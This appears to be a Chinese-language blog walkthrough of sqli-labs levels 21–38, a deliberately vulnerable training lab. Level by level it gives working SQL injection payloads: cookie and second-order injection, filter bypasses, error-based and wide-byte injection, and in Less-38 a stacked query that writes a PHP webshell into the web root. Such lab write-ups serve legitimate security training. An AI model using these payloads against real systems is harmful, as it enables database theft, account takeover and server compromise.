sql-libs靶场Page-2(21-38)教程
请先过page1
1. Less-21
登录进去感觉好像和上一道题一样。
我们抓一下包
哎,这个cookie
加密了一次,这应该是base64加密,我们解一下试试
![]https://img.trtyr.top/img/SQL-Libs靶场Page-11-22教程64.webp)
我们现在的思路就是,把SQL语句加密一次,然后再传参。
注入方式是单引号括号注入
1 | 1') # |
我们找字段数
这样得到加密数据
得到显错位,然后就简单了,联合注入就行了。
2. Less-22
和上一道一样,单引号变双引号就行了。
3. Less-23
这道题我们正常的注入后发现不太对劲
首先是只有单引号,单引号加注释这两种情况才有报错,所以单引号应该是没有问题的,有问题的是注释。
我们试了一下常规的注释 --
和 #
这两个都不行,尝试一下特殊的注释 %00
成功。
接下来就正常了
联合注入就能搞。
4. Less-24
这道题的目的是,已知用户账号,但是不知道密码的情况下,修改目标密码并修改。
现在我们修改Dumb用户。
我们点击注册新账号
进到一个界面,我们注册用户名为Dumb' #
,密码是123456
我这里就是猜它的结构是这样的
1 | username=''&password='' |
当我们用户名是Dump' #
就会发送一些神奇的变化
1 | username='Dumb' #'&password='' |
所以我们实际上就是把Dumb用户给重新注册了。
当然,这里是单引号是我猜的哈,就是试一试看看行不行
点击注册。
注册成功。我们登录一下刚才注册的账号,Dumb' #
这里要我们重置密码,我们把123456重置为654321
然后点击重置
重置成功
我们登录一下Dumb的账号
然后点击登录
卧槽,成了。
记得重置一下数据库
5. Less-25
这就是上一道题干出来的。我们重置一下数据库
这道题给提示了,and和or被过滤了,我们无视他,就当作不知道,从头分析
我们先正常注入,确定不是数字型注入,发现这个注释没问题。
单引号有报错,其他的啥事没有,确定是单引号注入。
排查过滤,引号没有,现在怀疑and或or被过滤,试试大写的,大写不行。
我们试试符号,and对应&&
,or对应||
成了。
然后发现了一个问题,o被过滤,order by不完整了。
其实这里还有一个方法
我们过滤的是 OR or AND and
我们输入 oorr 会发生什么?
oorr 过滤or后就是 or,同理 anandd 过滤后就是 and
1 | 1' oorrder by 3 -- |
联合注入去吧!
6. Less-25a
和上一道题差不多
注入方式
1 | 1 && 1=1 |
就是把上一道的注释和单引号去掉。
1 | 1 oorrder by 3 |
7. Less-26
下面就不一个一个分析了,直接告诉过滤啥
这道题 and or 和空格都被过滤掉了,对了还有注释 – 和 #
注入点
1 | 1'&&'1 |
我们尝试使用报错注入。
1 | 1'||updatexml(1,concat('~', database()),1)||1='1 |
然后就简单了,正常的报错注入。
8. Less-26a
注入点:
1 | 1')anandd('1 |
本来试试想用联合注入的,但是这玩意死活不给我出结果,就是报错,然后就用了布尔盲注
1 | 1') anandd (length(database())=8) anandd ('1 |
可以跑。
然后就是常规的布尔盲注了。
9. Less-27
注入点:
1 | 1' and '1 |
过滤内容是:
1 | /* , – , # , 空格 , /,/s |
用联合注入就行了。
虽然union和select用不了,但是我们可以用 UnIoN 和 SeleCT 这样的。
这道题可以用报错注入
1 | 1'||updatexml(1,concat('~', database()),1)||1='1 |
和26题一模一样。
其他的和正常的报错注入一样。
10. Less-28
注入点:
1 | 1') and ('0 |
没有报错信息,试试联合注入
1 | 0')%0Auniunion%0Aselecton%0Aselect%0A1,2,3||(' |
这个 %0A和 %0B功能差不多,有的时候 %0B 用不了就用 %0A
得到显错位。然后就联合注入了。
1 | 0')%0Auniunion%0Aselecton%0Aselect%0A1,database(),3||(' |
11. Less-28a
和上一题的代码一模一样。
12. Less-29
这道题它……一上来说自己是世界最好的防火墙,我都准备好整那些奇奇怪怪的过滤了,结果你丫就是个普普通通的字符串注入
1 | 1' and 1=1 -- |
啥也没过滤,直接上就行了。
13. Less-30
世界上最好的防火墙……
我估计知道是什么货色了,估计就是把上一道题的闭合方式改了一下。
1 | 1" and 1=1 -- |
双引号闭合,联合注入就行
14. Less-31
世界上最好的WAF
我猜啊,这个应该是加括号了。
1 | 1") and 1=2 -- |
15. Less-32
这道题是宽字节注入,单引号被转义了。
1 | 1%df' and 1=1 -- |
注入的话联合注入就行了。
1 | -1%df' union select 1,database(),3 -- |
16. Less-33
和上一道题一样。
17. Less-34
熟悉的登录界面
这是一个post宽字节注入。
这里我们用一个新方法,把 ’ 变成 �’,嘿嘿嘿
这个是把 UTF8 的 ’ 变成了 UTF16 的 �’
1 | admin�' or 1=1 # |
18. Less-35
简单的数字型注入
1 | 1 and 1=1 |
19. Less-36
宽字符注入
1 | 1�' and 1=2 -- |
20. Less-37
和34题一样。
21. Less-38
又是需要写木马
1 | 1';select ' @eval($_POST[x])' into outfile 'D:\\SoftWare\\phpstudy_pro\\WWW\\sql-libs\\Less-38\\test.php'%23 |
把木马写到目录下,密码是x
然后用蚁剑连上去就行了
成功!